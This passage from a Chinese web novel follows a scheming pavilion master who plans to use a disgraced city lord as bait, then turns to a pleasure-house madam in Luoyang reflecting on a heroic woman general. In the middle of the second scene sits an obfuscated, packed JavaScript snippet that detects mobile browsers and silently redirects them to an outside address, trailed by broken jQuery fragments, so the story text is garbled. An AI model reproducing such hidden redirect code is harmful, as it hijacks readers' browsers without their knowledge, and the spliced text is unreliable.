陆栖枳没有立刻回答，目光转而落向地上形容狼狈，此刻却死死盯着她的照无还。那张苍白俊美的脸上，痴迷、羞惭、绝望、祈求……种种情态扭曲在一起，令她有些尴尬。


    片刻静默后，陆栖枳开口：“守土无能，是为失职。沉迷虚妄，忘却根本，是为不智。城主如此，玉光城百姓何辜？”


    她的话，简短，冷酷，如同她当年向他抛下的那瓶金疮药，没有温度，只有事实。没有评价照无还对她的那份扭曲心思，直指其作为城主的失败本质。


    照无还闻言，如遭重击，身体剧烈地痉挛了一下，眼中的炽烈光彩瞬间灰败下去，像是最后一点支撑也被无情抽走。他闭上了眼，喉间发出嗬嗬的濒死般的抽气声。


    故尘染却似乎对陆栖枳的回答并不意外，反而点了点头，挑眉道：“将军所言，一针见血。”她顿了顿，向前走了两步，离陆栖枳更近了些，意味深长道，“那么，依将军看，这般失职不智，根基已朽之城，当如何处置？是任由冬自岁吞并，刮骨吸髓，还是……另寻他法，刮骨疗毒？”


    她把选择权，以一种尖锐的方式，再次递到了陆栖枳面前。


    这不仅是对她的问策，更是一种试探，试探陆栖枳对玉光城的态度，对她处理此事方式的看法，乃至……对她这个复杂身份的接受程度。


    陆栖枳的目光从照无还身上收回，重新落在故尘染脸上。


    破庙内火光摇曳，将她那绝世容颜镀上一层暖色，却衬得那双黑眸更加幽深难测。


    她身后的佛像高大庄重。这庙应是许久没人供奉了，佛像眼里满是欲。


    她知道，这个问题没有标准答案，或者说，答案本身并不重要，重要的是她回答的姿态。


    “城池为国之疆土，百姓为国之根本。”陆栖枳缓缓道，“疆土不容有失，根本不容轻贱。无论用何法，毒需清，伤需治。至于用刀用针，是猛药是缓剂……”她略微停顿，目光平静，“您心中，自有乾坤。臣唯知，若事涉边陲安定、百姓存续，便不容退缩逡巡。玉光城之事，臣既随驾在此，自当尽护卫协理之责，以供驱使。”


    她没有给出具体方案，却划定了底线。


    毕竟……国土民生，不容有失。


    同时，她明确了自己的位置和态度，她作为随行将领，她会履行“护卫协理”的职责，在此前提下，听从调配，以供驱使。这确实是对故尘染皇后权威的承认，也是一种保有自身行动准则的宣告。她未对万尊阁主的身这个份置评，却以自己的实际行动表明，她，陆栖枳，接下了这趟浑水，也将履行护卫之责至于终局。


    故尘染静静地听着，双眼眯起。


    陆栖枳这番回答，在她意料之中，却又比预料中更……妥帖而有力。不卑不亢，有原则，还很有担当，且聪明地避开了不必要的立场表态。


    不错，真够意思。故尘染这样想。


    “好。”良久，她轻轻吐出一个字，打破了寂静。


    “有将军这句话，本座……心里便有底了。”


    她转过身，不再看地上瘫软的照无还，对暗卫抬抬下巴。


    暗卫会意，立刻行动，利落地将失魂落魄的照无还扶起。


    故尘染则背着手走向陆栖枳，在擦肩而过时，她脚步微顿，用只有两人能听到的音量，低语了一句。


    “今夜风大，陆将军护卫辛苦，回去路上，当心脚下。”


    语意双关。


    说完，她不再停留，黑色披风在夜风中扬起，率先步入了庙外的黑暗之中，暗卫架着照无还迅速跟上。


    陆栖枳站在原地，看着那一行人影迅速融入黑暗。


    破庙内重归寂静，只有那将熄未熄的火把，偶尔爆出一点最后的火星，映照着佛像残缺而模糊的面容。


    这不禁让她回想起昨夜在篝火之前与故尘染的对话。


    也许，得帮人找到一种在地狱里活着，却不那么痛苦的方式。


    回程的山径比来时更显崎岖幽深，只余三两心腹暗卫随行，马蹄与脚步都放得极轻，融入风声与虫鸣。


    一名紧随在故尘染身侧，是江暮。


    他本被故尘染留在万尊阁，却突得传书，让他来盯着人，她需要他，所以他来了。


    江暮终是按捺不住，趁着掠过一处林隙，月光稍明的间隙，低声问道：“阁主，那照无还……您当真就这般，放过？玉光城虽已，着手，安排，人准备接手，但他此人，知晓太多内情，又对陆将军存了那般心思，留着……恐是，隐患。”


    故尘染策马在前，闻言，她并未回头，只传来一声极轻的呵笑，那笑声里没什么温度。


    “放过？”她重复着这个词，语气有些微妙，道，“本座为何要放过他？他既心心念念不想再做这劳什子城主，嫌那担子重，嫌那责任脏，满脑子只装着些风月痴妄……本座便成全他，岂不慈悲？”


    江暮一怔，有些不解：“成全？”


    “是啊，成全。”故尘染又慢悠悠地重复着他刚刚的话，微微拉紧了缰绳，让马匹稍缓，侧过头，眸子里却闪过一丝玩味的目光，冷笑道，“他不是恨冬自岁入骨，却又无力反抗么？不是自诩对陆将军一片痴心，愿肝脑涂地么？那么，本座便给他个机会。”


    她懒洋洋道：“玉光城，本座的人会去坐稳。但冬自岁那条毒蛇，岂会甘心？他定会反扑，会寻找一切可能的突破口。你说，一个即将被废黜、心怀怨恨、又自认掌握了些许旧日秘密的前任城主……是不是一块极好的、吸引毒蛇注意的饵料呢？何况，这饵料如今还紧紧挂在陆将军这柄利剑的剑穗上呢。”


    江暮眼中闪过一丝明悟，却又有一丝迟疑：“阁主是想……借冬自岁之手，除掉照无还？这固然干净，但陆将军那边……”


    “除掉？”故尘染闻言，轻轻摇头，嫣然一笑道，“那多无趣。本座是要让冬自岁去咬这块饵，去逼迫他，去刺激他。人在绝境中，要么彻底沉沦，要么……或许能迸发出点不一样的东西。照无还此人，优柔寡断是真，懦弱无能也是真，但那份痴劲和仅存的脑子，若用在‘恨’与‘求生’上，未必不能给冬自岁找些麻烦。让他们先斗着，彼此消耗，我们的人才能在废墟上重建得更稳。”


    她忽然勒住马，彻底停了下来，转身面对江暮。


    林间月光稀疏，勾勒出她挺拔而又孤峭的背影。


    她伸出手，在江暮紧绷的肩膀上不轻不重地拍了两下。


    “这招么……”


    她缓缓吐出几个字，声音里带着冰冷的笑意。


    “叫作放饵观虎斗，伺机收残局。”


    她收回手，重新握紧缰绳，目光投向山林尽头隐约可见的别院灯火。


    “不急。眼下，先让他二人……好好‘叙叙旧’吧。我们，且看着。”


    话音落下，她一夹马腹，座下骏马轻嘶一声，再度提速，向着光影之处疾驰而去。


    江暮望着她远去的背影，细细咀嚼着那“放饵观虎斗，伺机收残局”十个字，心底寒意与敬意同时升起，不敢再多言，连忙催马跟上。


    宝翠楼的飞檐翘角，挑着洛阳城永远灰蒙蒙的天。三楼最里间那扇临街的窗，四季都开着一条缝，不宽，刚够溜进市井的喧嚣。


    凌微斜倚在窗边的贵妃榻上，一身莲青色的软绸裙子，料子是好料子，光滑得像一汪静水，颜色却素净得与这宝翠楼的绮丽格格不入。


    指尖捏着一只定窑白瓷的小盏，里头茶汤早已凉透，她也不饮，只是无意识地用盏盖边缘，轻轻刮着盏沿。


    楼下的丝竹管弦、莺声燕语、猜拳行令，隔着门板与长廊，嗡嗡地传来，是热闹的，却也是隔膜的，像另一个世界的声音。


    她听的，是眼前心腹丫鬟低声禀报的、近日洛阳城中最轰动的那桩事。


    “……都说那陆将军，当真了不得。太极殿上，当着陛下和满朝文武的面，一条条、一桩桩，嘿，把当年构陷陆老将军的奸臣崔明远驳得哑口无言！证据凿凿，听得人都脊背发凉……那崔明远当场就瘫了，下了诏狱。陆家四年的冤屈，一朝得雪。陛下追封了老将军，厚赏了陆将军……如今街上说书的，都在讲这段呢，比传奇话本还精彩。”


    丫鬟的声音里是掩不住的兴奋与敬畏，描绘着那场她无缘得见的朝堂风暴。


    凌微静静地听着，脸上没什么表情。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052833|177674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陆栖枳。


    这个名字，她近日听了太多遍。女子，将军，洗冤，雪耻……每一个词，都像一把小锤，不轻不重地敲在她心口那层包裹了多年坚硬的壳上。


    她忽然想起很多年前，或许也没那么久，只是这楼里的光阴，总是黏稠而缓慢，把记忆都泡得模糊了。她也曾有过别的念头，不是如何应付今夜哪位恩客，不是怎样打点官府迎来送往，也不是算计楼里姑娘们的脂粉钱和心事。那些念头轻飘飘的，关于江湖，关于远方，关于一把剑，或者一匹快马，关于不必对谁强颜欢笑、不必将真心寸寸算计的……活法。


    她以前仰慕故尘染那样的女子，豪爽，英勇，以及忠义。前不久，故尘染彻底放下了对宝翠楼的管辖，让凌微当了掌柜，只对友好之称时不时问询一些情报消息，还提供了不少银钱，为那些想走的姑娘赎身。


    故尘染也不是没有私下与她谈论宝翠楼的事情，故尘染靠这法子起家，自然不能忘记初衷，她如今有了任安这个招财货，不缺银钱，便想拆了这楼，再保那些姑娘终身平安富贵。


    只是这世间，从无一条路，真正通往“干净”二字。


    女子今当下，何枝可栖？不过是风里絮、水中萍，身不由己地飘零。


    且拆楼容易，安置人难。


    这些念头，如同早春枝头最脆弱的嫩芽，还没来得及舒展，便被这楼里香腻的风、被现实冰冷的雨，打得七零八落，最终混入泥泞，再也寻不见踪迹。


    她是凌微姑娘，宝翠楼的微娘子，长袖善舞，心思玲珑，在这片温柔富贵，也吃人不吐骨头的泥沼里，挣扎着站稳了脚跟，甚至有了些许旁人难以撼动的“地位”。可有时候，午夜梦回，或像此刻这般，听着另一个女子截然不同，快意恩仇的人生时，那早已麻木的心尖，还是会泛起细细密密的疼。


    不是忮忌。是羡慕。羡慕得骨头发酸。


    羡慕那样的人生，可以活得如此淬厉，如此分明，像一柄出鞘的剑，寒光凛凛，宁折不弯。爱恨情仇，家国恩怨，都摆在明处，用血与火去争，去辩，去求一个公道清白。而不是像她，困在这雕梁画栋的牢笼里，连喜怒哀乐都须调兑得恰到好处，每一分情意都标好了价码，真心是这世上最奢侈也最无用的东西。


    故尘染也宽慰过她，别在乎什么狗屁往事，人得朝前活。


    那女子说得爽利，眉眼间是见过风浪后的豁达。


    可凌微只是笑着应下，将茶斟得更满些。她如何能不在乎？这楼里的一砖一木，看客的一颦一笑，早已将她死死焊在这“往事”里。每一次巧笑倩兮，每一次曲意逢迎，都是在往那“往事”的坟冢上，多添一抔土。


    故尘染还说：“从泥里长出来的人，根脏了，花就得开得更狠。”


    可花终究是花，离了枝头就败。


    她深知故尘染真心实地的同情她这样的女子。


    “真好……”她几乎无声地叹了一句，不知是在叹陆栖枳，还是在叹那个早已死去，拥有过妄想的自己。


    指尖的茶盏不知何时倾斜，微凉的茶水溅出几滴，落在她莲青色的裙裾上，她恍若未觉。


    一阵稍疾的秋风，恰在此刻，从窗缝里挤了进来，这风顽皮，不仅吹动了她额前几缕碎发，还卷起了她随意搭在榻边的一条丝帕。


    那帕子是淡的烟紫色，一角用同色丝线绣着寥寥几笔兰草，是她平日用来掩口或拭手的，质地轻软如无物。


    风过，帕子便如一片失了根的紫云，轻飘飘地荡起，顺着窗口那条缝，滑了出去。


    凌微倏然回神，下意识地探身去抓，指尖却只掠过一丝冰凉的空气。


    她眼睁睁看着那抹烟紫，在空中翻了几个身，打着旋儿，悠悠地，朝着楼下人来人往的街道落去。


    心，莫名地空了一下。


    仿佛丢掉的不是一条帕子，而是某种更缥缈、更抓不住的东西。


    她不由得将身子更探出些，目光追随着那下落的帕子。


    然后，她的视线，毫无预兆地，撞进了楼下另一道目光里。


    街对面，一株叶子已落了大半的老树下，静静地站着一个身着青金色官袍的年轻男子。